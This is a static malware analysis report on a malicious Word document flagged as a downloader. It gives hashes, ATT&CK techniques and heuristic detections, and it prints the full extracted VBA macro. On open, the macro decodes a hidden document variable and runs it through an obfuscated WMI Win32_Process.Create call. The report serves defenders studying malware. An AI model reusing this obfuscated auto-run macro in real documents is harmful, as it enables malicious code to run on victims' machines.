Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 111b04590b76d30e…

MALICIOUS

Office (OOXML)

20.9 KB Created: 2020-08-19 01:15:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-07
MD5: 40182df86ed7b9534b710cab6607e592 SHA-1: e58829d99d0ded8a7b86d719906391342f0e966b SHA-256: 111b04590b76d30e2e258bc3b4a2c547de28013b2128b3da26580ebf66e01ec7
402 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File: User Execution T1105 Ingress Tool Transfer

The sample is an OOXML document containing a VBA macro that executes upon opening. The macro uses obfuscated strings and WMI to launch a process, likely to download and execute a second-stage payload. The presence of a 'Document_Open' macro and the use of WMI for process creation are strong indicators of a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Sagent-9376492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-9376492-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3300 bytes
SHA-256: 0f7328c072252870c96efdcb3d05ec99e32a2f724a86b83ef8ac253b4d8f2fdc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Ostpreussen(ByVal Barmen As String)








                                                                Dim Detect As Long: Dim OuthyperbOlizing() As Byte





                                            GoTo Trying
Gelasia:








                                                        Comtism StrConv(OuthyperbOlizing, 64, 1055)
Exit Sub





                                                                






LeachabiLity:








                                            For Detect = 0 To UBound(OuthyperbOlizing)







                 OuthyperbOlizing(Detect) = Abs(OuthyperbOlizing(Detect) - 9)
Next







             




                  GoTo Gelasia






                                        





              Exit Sub





                                        





               





                   




Trying:
OuthyperbOlizing = StrConv(Barmen, 128, 1055)





                                                            




                   






                 





                                            GoTo LeachabiLity








             Exit Sub








               






          End Sub
Sub Document_Open()








                  





                                                Call Magenta
End Sub








                






               






           Private Sub Magenta()





             Dim Barmen As String: Barmen = ActiveDocument.Variables("o617f8c92af6d6b").Value








                                                            






             Ostpreussen Barmen






            End Sub








                                                                        Private Sub Comtism(ByVal Agentive As String)






                 Dim PolymorPhism As String: PolymorPhism = "."
If Agentive <> "" Then





               






                                                        






                                                        GetObject("w" & "i" & "n" & "m" & "gm" & "t" & "s" & ":\\" & PolymorPhism & "\ro" & "ot\ci" & "m" & "v2" & ":W" & "in3" & "2_P" & "r" & "oc" & "e" & "s" & "s").Create Agentive, Null, Null, 0
Else





                                                                            MsgBox "Promted usr764 ."
GetObject("wi" & "n" & "m" & "g" & "mt" & "s:\\" & "." & "\ro" & "ot\ci" & "mv2" & ":W" & "in" & "3" & "2" & "_P" & "roc" & "e" & "ss").Create "calc.exe", Null, Null, 0





                                                                            







                                                                        




                                                                            End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13824 bytes
SHA-256: 00fe18aab6af014fa8346ed408f5b8ab567fd33b7c24b3e8ec49bc34948aeb10
Detection
ClamAV: Doc.Downloader.Sagent-9376492-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.